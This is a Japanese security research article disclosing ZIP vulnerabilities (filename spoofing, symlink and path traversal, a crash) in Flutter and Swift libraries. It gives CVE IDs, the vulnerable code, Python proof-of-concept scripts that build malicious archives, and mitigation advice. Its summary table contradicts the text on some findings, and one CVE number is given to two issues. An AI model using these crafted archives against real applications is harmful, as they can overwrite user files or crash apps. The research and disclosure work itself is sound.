SwiftとFlutterのZIPライブラリの脆弱性
最近の詳細な調査により、FlutterとSwiftで広く使われているZIPパッケージに深刻な脆弱性が見つかり、数千の開発者とアプリケーションに重大なセキュリティリスクをもたらしています。本記事では、これらの脆弱性の技術的な側面を掘り下げ、発見の経緯、影響、緩和策を解説します。
はじめに
ZIPパッケージは、複数のファイルやディレクトリを格納した圧縮アーカイブであり、開発者はアプリの機能に必要なリソース、ライブラリ、その他のコンポーネントを手軽にまとめることができます。ZIPパッケージは効率がよく使いやすい一方で、悪意のある攻撃者に悪用されかねない潜在的なセキュリティ脆弱性の原因にもなり得ます。
本記事では、ZIP処理の実装のセキュリティを掘り下げ、SwiftとDart(Flutter)のエコシステムで広く使われているZIPライブラリの脆弱性を紹介します。悪意のあるZIPパッケージに伴う潜在的なリスクと、それがモバイルアプリケーションのセキュリティにもたらし得る影響を探ります。さらに、開発ライフサイクル全体を通じてZIPパッケージを確実に保護するためのベストプラクティスと効果的な戦略についても説明します。
ZIPファイルの構造
ZIPファイルは通常、次のようなレイアウトになっています。
+------------------------------------------------------+
| Local File Header |
| +----------------------------------------------+ |
| | Local File Header Signature (4 bytes) | |
| | Version Needed to Extract (2 bytes) | |
| | General Purpose Bit Flag (2 bytes) | |
| | Compression Method (2 bytes) | |
| | Last Mod Time (2 bytes) | |
| | Last Mod Date (2 bytes) | |
| | CRC-32 Checksum (4 bytes) | |
| | Compressed Size (4 bytes) | |
| | Uncompressed Size (4 bytes) | |
| | Filename Length (2 bytes) | |
| | Extra Field Length (2 bytes) | |
| +----------------------------------------------+ |
| | Filename (variable length) | |
| | | |
| +----------------------------------------------+ |
| | Extra Field (variable length) | |
| | | |
| +----------------------------------------------+ |
| Compressed Data |
| |
| +----------------------------------------------+ |
| | Data Descriptor (optional) | |
| | +------------------------------------------+ | |
| | | CRC-32 Checksum (4 bytes) | | |
| | | Compressed Size (4 bytes) | | |
| | | Uncompressed Size (4 bytes) | | |
| | +------------------------------------------+ | |
| +----------------------------------------------+ |
+------------------------------------------------------+
+------------------------------------------------------+
| Central Directory |
| +----------------------------------------------+ |
| | Central Directory File Header | |
| | +--------------------------------------+ | |
| | | Central Directory Header Signature | | |
| | | Version Made by (2 bytes) | | |
| | | Version Needed to Extract (2 bytes) | | |
| | | General Purpose Bit Flag (2 bytes) | | |
| | | ... | | |
| | +--------------------------------------+ | |
| | | CRC-32 Checksum (4 bytes) | | |
| | | Compressed Size (4 bytes) | | |
| | | Uncompressed Size (4 bytes) | | |
| | | Filename Length (2 bytes) | | |
| | | ... | | |
| | +--------------------------------------+ | |
| | | Filename (variable length) | | |
| | | | | |
| | +--------------------------------------+ | |
| +----------------------------------------------+ |
+------------------------------------------------------+
+------------------------------------------------------+
| End of Central Directory Record |
| +----------------------------------------------+ |
| | End of Central Directory Signature (4 bytes) | |
| | ... | |
| +----------------------------------------------+ |
+------------------------------------------------------+
ZIPの構造で注目すべき部分は次のとおりです。
-
Local File Header:Local File Headerは、ZIPアーカイブ内の各ファイルの先頭にあるセクションです。名前、サイズ、圧縮方式、その他の属性など、圧縮されたファイルに関する重要な情報を含んでいます。このヘッダーにより、ソフトウェアはZIPアーカイブから個々のファイルを見つけて展開できます。
-
Data Descriptor:Data Descriptorは、ZIPファイル形式におけるオプションのセクションです。ファイルの圧縮データに関する追加情報を提供します。Data Descriptorの目的は、非圧縮データのCRC-32チェックサム、圧縮後のサイズ、非圧縮時のサイズを格納することです。これらの情報を含めることで整合性チェックが可能になり、ファイルの展開時に役立つことがあります。
-
Central Directory File Header:Central Directory File Headerは、アーカイブ内の各ファイルに関するメタデータを含む、ZIPファイル内のセクションです。ファイル名、圧縮後のサイズ、非圧縮時のサイズ、圧縮方式、その他の属性などの詳細を提供します。Central Directory File Headerは、ZIPアーカイブ内のすべてのファイルの目録であるセントラルディレクトリ構造の中に置かれています。
-
End of Central Directory Record(EOCD):End of Central Directory(EOCD)Recordは、ZIPファイルの末尾にあり、セントラルディレクトリ構造の終わりを示すセクションです。セントラルディレクトリ内のエントリ数、セントラルディレクトリのサイズ、セントラルディレクトリの開始位置へのオフセットなど、重要な情報を含んでいます。EOCDレコードにより、ソフトウェアはセントラルディレクトリを見つけてアクセスでき、そこからZIPアーカイブ内のファイルに関する情報を得られます。
一般的なZIPの脆弱性
-
ZIPパストラバーサル:ZIPパストラバーサルはZip Slipとも呼ばれ、アプリケーションが展開時にZIPエントリのファイル名を検証しない場合に発生するセキュリティ脆弱性です。攻撃者は展開先ディレクトリの外にある任意の場所へファイルを展開できるため、ユーザーの機密データを上書きでき、攻撃者がアプリケーションの共有オブジェクトファイルを上書きした場合には、コード実行につながることもあります。
-
ZIPファイル名のなりすまし:ZIPアーカイブには、ファイル名に関係する主なデータ構造が2つあります。
Central Directory EntryとLocal File Headerです。たとえば、パーサーがファイル名をLocal File Headerから読み取りながら、実際にはCentral Directory Entryにあるパスでファイルを展開する場合に問題が生じます。 -
ZIPシンボリックリンクによるパストラバーサル:ZIPのシンボリックリンクは多くのZIPユーティリティで使われている機能で、シンボリックリンクが展開先ディレクトリの外にあるファイルを指すことを許してしまいます。これはセキュリティリスクとなり、機密データや共有オブジェクトファイルの上書きにつながり、さらにコード実行に至る可能性があります。
-
ZIP爆弾:ZIP爆弾とは、膨大な量の圧縮データを含む小さなサイズのZIPファイルです。展開すると巨大なファイルに膨れ上がったり、システムリソースを過剰に消費したりして、サービス拒否(DoS)を引き起こす可能性があります。
分析対象のZIPパッケージ
Archive
圧縮ファイルを扱うFlutterパッケージとして人気のあるものの一つが、Brendan Duncanによるarchiveです。このパッケージは、Androidのjava.util.zipやiOSのZIPFoundationといったプラットフォーム固有のネイティブパッケージを経由せずに、一般的なアーカイブ形式をDartでネイティブに実装しています。
言語:Dart (Flutter)
リンク:https://pub.dev/packages/archive
Flutter_archive
flutter_archiveは、ZIPファイルのみを扱う圧縮ファイル向けのもう一つのFlutterパッケージです。FlutterのMethodChannelを活用して、JavaのネイティブZIPパッケージjava.util.zipに依存しています。
言語:Dart (Flutter)
リンク:https://pub.dev/packages/flutter_archive
ZIPFoundation
ZIPFoundationは、ZIPアーカイブファイルを作成、読み取り、変更するためのライブラリです。Swiftで書かれており、高いパフォーマンスとエネルギー効率を実現するためにAppleのlibcompressionをベースにしています。
言語:Swift
リンク:https://github.com/weichsel/ZIPFoundation
ZIP
Zipは、ファイルを圧縮・展開するためのSwiftフレームワークです。シンプルで手早く使えます。minizipの上に構築されています。
言語:Swift
リンク:https://github.com/marmelroy/Zip
ZIPArchive (SSZIPArchive)
ZipArchiveは、iOS、macOS、tvOSでファイルを圧縮・展開するためのシンプルなユーティリティクラスです。
言語:Swift
リンク:https://github.com/ZipArchive/ZipArchive
検出された脆弱性
パッケージ:Archive
ZIPファイル名のなりすまし(CVE-2023-39137)
archiveパッケージは、ファイル名をLocal File Headerからのみ解析します。これは、通常Central Directory Entryを優先するほとんどのZIPパーサーとの不整合につながります。攻撃者はこの不整合を悪用し、Local File HeaderとCentral Directory Entryで異なるファイル名を持つ悪意のあるZIPファイルを作成できます。その結果、展開の前後でファイル名が異なるファイルが生まれます。
String filename = '';
List<int> extraField = [];
String fileComment = '';
ZipFile? file;
ZipFileHeader(
[InputStreamBase? input, InputStreamBase? bytes, String? password]) {
if (input != null) {
versionMadeBy = input.readUint16();
versionNeededToExtract = input.readUint16();
generalPurposeBitFlag = input.readUint16();
compressionMethod = input.readUint16();
lastModifiedFileTime = input.readUint16();
lastModifiedFileDate = input.readUint16();
crc32 = input.readUint32();
compressedSize = input.readUint32();
uncompressedSize = input.readUint32();
final fnameLen = input.readUint16();
final extraLen = input.readUint16();
final commentLen = input.readUint16();
diskNumberStart = input.readUint16();
internalFileAttributes = input.readUint16();
externalFileAttributes = input.readUint32();
localHeaderOffset = input.readUint32();
if (fnameLen > 0) {
filename = input.readString(size: fnameLen);
}
これを検証するため、Local File HeaderとCentral Directory Entryのファイル名フィールドにそれぞれevil.apkとevil.txtという異なる値を持つZIPファイルを作成しました。
概念実証(PoC)コード:
import zipfile
def generate_spoofed_zip(filename):
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, "Test payload")
with open('payload.zip', 'rb') as zipf:
zip_data = zipf.read()
spoofed_data = zip_data.replace(bytes(filename, 'utf-8'), bytes(spoofed_filename, 'utf-8'), 1)
with open('payload.zip', 'wb') as zipf:
zipf.write(spoofed_data)
original_filename = 'evil.txt'
spoofed_filename = 'evil.apk'
if len(original_filename) != len(spoofed_filename):
raise ValueError("Filenames lengths must be equal")
generate_spoofed_zip(original_filename)

作成したZIPファイルに対してzipinfoユーティリティを実行すると、内部のファイル名はevil.txtとして解析されました。

しかし、archiveパッケージのextractFileToDisk関数でファイルを展開すると、ファイル名はevil.apkとして解析されました。

ZIPシンボリックリンクによるパストラバーサル(CVE-2023-39139)
このパッケージを調べる中で見つかったもう一つの興味深い点は、展開後にシンボリックリンクを再作成するだけでなく、展開先ディレクトリの外を含む任意のパスを指すシンボリックリンクまで作成してしまうことです。
for (final file in archive.files) {
final filePath = p.join(outputPath, p.normalize(file.name));
if (!isWithinOutputPath(outputPath, filePath)) {
continue;
}
if (!file.isFile && !file.isSymbolicLink) {
Directory(filePath).createSync(recursive: true);
continue;
}
if (asyncWrite) {
if (file.isSymbolicLink) {
final link = Link(filePath);
await link.create(p.normalize(file.nameOfLinkedFile), recursive: true);
} else {
final output = File(filePath);
final f = await output.create(recursive: true);
final fp = await f.open(mode: FileMode.write);
final bytes = file.content as List<int>;
await fp.writeFrom(bytes);
file.clear();
futures.add(fp.close());
}
これを検証するため、親ディレクトリにあるファイル(secret.txt)を指すシンボリックリンクevilを作成し、zip --symlinks poc.zip evilコマンドでそのシンボリックリンクを圧縮して、Androidのテスト端末上でextractFileToDisk関数を使ってpoc.zipを展開しました。
概念実証(PoC)コード:
import zipfile
def compress_file(filename):
zipInfo = zipfile.ZipInfo("")
zipInfo.create_system = 3
zipInfo.external_attr = 2716663808
zipInfo.filename = filename
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(zipInfo, "/etc/hosts")
filename = 'evil'
compress_file(filename)

ZIPファイルを展開すると、シンボリックリンクが再作成され、展開先ディレクトリの外にある../secret.txtを指していました。

パッケージ:ZIPFoundation
ZIPシンボリックリンクによるパストラバーサル(CVE-2023-39138)
このパッケージは展開時に、ZIPエントリから得たパスが展開先ディレクトリ内にあるかどうかを確認せずに、そのままfileManager.createSymbolicLinkに渡します。上記と同じテストを再現したところ、このパッケージも展開先ディレクトリの外を指すシンボリックリンクを許してしまうことがわかりました。
case .symlink:
guard !fileManager.itemExists(at: url) else {
throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
}
let consumer = { (data: Data) in
guard let linkPath = String(data: data, encoding: .utf8) else { throw ArchiveError.invalidEntryPath }
try fileManager.createParentDirectoryStructure(for: url)
try fileManager.createSymbolicLink(atPath: url.path, withDestinationPath: linkPath)
}
checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
progress: progress, consumer: consumer)
}
ZIPパストラバーサル(CVE-2023-39138)
このパッケージは、ZIPエントリのパスが展開先ディレクトリ内にあることを確認するためにisContained関数を使用しています。
func isContained(in parentDirectoryURL: URL) -> Bool {
// Ensure this URL is contained in the passed in URL
let parentDirectoryURL = URL(fileURLWithPath: parentDirectoryURL.path, isDirectory: true).standardized
return self.standardized.absoluteString.hasPrefix(parentDirectoryURL.absoluteString)
}
...
guard entryURL.isContained(in: destinationURL) else {
throw CocoaError(.fileReadInvalidFileName,
userInfo: [NSFilePathErrorKey: entryURL.path])
}
...
crc32 = try archive.extract(entry, to: entryURL, skipCRC32: skipCRC32, progress: entryProgress)
以下はextract関数のコードスニペットです。
public func extract(_ entry: Entry, to url: URL, bufferSize: Int = defaultReadChunkSize, skipCRC32: Bool = false,
progress: Progress? = nil) throws -> CRC32 {
guard bufferSize > 0 else {
throw ArchiveError.invalidBufferSize
}
let fileManager = FileManager()
var checksum = CRC32(0)
switch entry.type {
case .file:
guard !fileManager.itemExists(at: url) else {
throw CocoaError(.fileWriteFileExists, userInfo: [NSFilePathErrorKey: url.path])
}
try fileManager.createParentDirectoryStructure(for: url)
let destinationRepresentation = fileManager.fileSystemRepresentation(withPath: url.path)
guard let destinationFile: FILEPointer = fopen(destinationRepresentation, "wb+") else {
throw POSIXError(errno, path: url.path)
}
defer { fclose(destinationFile) }
let consumer = { _ = try Data.write(chunk: $0, to: destinationFile) }
checksum = try self.extract(entry, bufferSize: bufferSize, skipCRC32: skipCRC32,
progress: progress, consumer: consumer)
/base_path/extraction_directory//../というパスを与えると、パスは/base_path/extraction_directory/entry_file_nameに正規化され、上記のチェックを通過します。
同じパスがfopenに渡されると、今度は/base_path/entry_file_nameに正規化されるため、展開先ディレクトリの外にファイルを書き込めてしまいます。
概念実証(PoC)コード:
import zipfile
def compress_file(filename):
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, "Test payload")
filename = '/../secret.txt'
compress_file(filename)
パッケージ:Zip
ZIPパストラバーサル(CVE-2023-39135)
以下は、ZIPファイルの展開に使われるunzipFile関数のコードスニペットです。ZIPエントリから得たpathStringが、サニタイズされることなくdestinationディレクトリに連結されていることがわかります。
let fileNameSize = Int(fileInfo.size_filename) + 1
//let fileName = UnsafeMutablePointer<CChar>(allocatingCapacity: fileNameSize)
let fileName = UnsafeMutablePointer<CChar>.allocate(capacity: fileNameSize)
unzGetCurrentFileInfo64(zip, &fileInfo, fileName, UInt(fileNameSize), nil, 0, nil, 0)
fileName[Int(fileInfo.size_filename)] = 0
var pathString = String(cString: fileName)
guard pathString.count > 0 else {
throw ZipError.unzipFail
}
var isDirectory = false
let fileInfoSizeFileName = Int(fileInfo.size_filename-1)
if (fileName[fileInfoSizeFileName] == "/".cString(using: String.Encoding.utf8)?.first || fileName[fileInfoSizeFileName] == "\\".cString(using: String.Encoding.utf8)?.first) {
isDirectory = true;
}
free(fileName)
if pathString.rangeOfCharacter(from: CharacterSet(charactersIn: "/\\")) != nil {
pathString = pathString.replacingOccurrences(of: "\\", with: "/")
}
let fullPath = destination.appendingPathComponent(pathString).path
概念実証(PoC)コード:
import zipfile
def compress_file(filename):
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, "Test payload")
filename = '../secret.txt'
compress_file(filename)
パッケージ:ZIPArchive (SSZIPArchive)
サービス拒否(CVE-2023-39136)
以下は、ZIPエントリのファイル名をサニタイズするために使われる_sanitizedPath関数のコードスニペットです。このコードは、ZIPエントリのパスの先頭にfile:///プレフィックスを付け、NSURLで標準化したうえで、付けたプレフィックスを取り除きます。しかし、パスとして/..が与えられると、NSURLの出力はfile://となります。これは7文字ですが、コードは少なくとも8文字を想定しています。この処理されないエッジケースにより、アプリケーションがクラッシュします。
if (strPath == nil) {
return nil;
}
// Add scheme "file:///" to support sanitation on names with a colon like "file:a/../../../usr/bin"
strPath = [@"file:///" stringByAppendingString:strPath];
// Sanitize path traversal characters to prevent directory backtracking. Ignoring these characters mimics the default behavior of the Unarchiving tool on macOS.
// "../../../../../../../../../../../tmp/test.txt" -> "tmp/test.txt"
// "a/b/../c.txt" -> "a/c.txt"
strPath = [NSURL URLWithString:strPath].standardizedURL.absoluteString;
// Remove the "file:///" scheme
strPath = [strPath substringFromIndex:8];
概念実証(PoC)コード:
import zipfile
def compress_file(filename):
with zipfile.ZipFile('payload.zip', 'w') as zipf:
zipf.writestr(filename, "Test payload")
filename = '/..'
compress_file(filename)
まとめ表
| パッケージ | 言語 | ZIPファイル名のなりすまし | ZIPシンボリックリンク | ZIPパストラバーサル | サービス拒否 |
|---|---|---|---|---|---|
| Archive | Dart (Flutter) | 脆弱 | 脆弱ではない | 脆弱ではない | 脆弱ではない |
| Flutter_archive | Dart (Flutter) | 脆弱ではない | 脆弱ではない | 脆弱ではない | 脆弱ではない |
| ZIPFoundation | Swift | 脆弱ではない | 脆弱 | 脆弱 | 脆弱ではない |
| ZIP | Swift | 脆弱ではない | 脆弱ではない | 脆弱 | 脆弱ではない |
| ZIPArchive | Swift | 脆弱ではない | 脆弱ではない | 脆弱ではない | 脆弱 |
結論
結論として、ZIPの脆弱性は重大なセキュリティリスクをもたらすものであり、開発者はアーカイブファイルを扱う際にそれを認識しておく必要があります。ZIPファイル形式は広く使われ、サポートされていますが、悪用と無縁ではありません。機密データを守り、潜在的な攻撃を防ぐためには、これらの脆弱性を理解し、対処することが不可欠です。
本記事では、ZIPパストラバーサル、ZIPファイル名のなりすまし、ZIPシンボリックリンクの脆弱性、ZIP爆弾攻撃など、一般的なZIPの脆弱性をいくつか取り上げました。これらの脆弱性はそれぞれ、ファイルへの不正アクセス、機密データの上書き、サービス拒否(DoS)、さらに一部のシナリオではコード実行など、異なるリスクをもたらします。
開発者は、ZIPファイルを扱う際に堅牢なセキュリティ対策を実装することが重要です。具体的には、パストラバーサル攻撃を防ぐために展開時にZIPエントリのファイル名を検証すること、ファイル名のなりすましを緩和するためにLocal File HeaderとCentral Directory Entryのファイル名の一貫性を確保すること、展開されたファイルのアクセス権限を制限すること、そしてZIP爆弾によるDoS状態を防ぐために適切な展開手法を実装することが挙げられます。
さらに、開発フレームワークで使用しているZIPライブラリやパッケージに関するセキュリティアップデートやパッチの情報を常に把握しておくことが極めて重要です。これらの依存関係を定期的に見直して更新することで、既知の脆弱性を緩和し、新たな脅威から身を守ることができます。
なお、本記事で取り上げた問題は、該当する作者に報告済みです。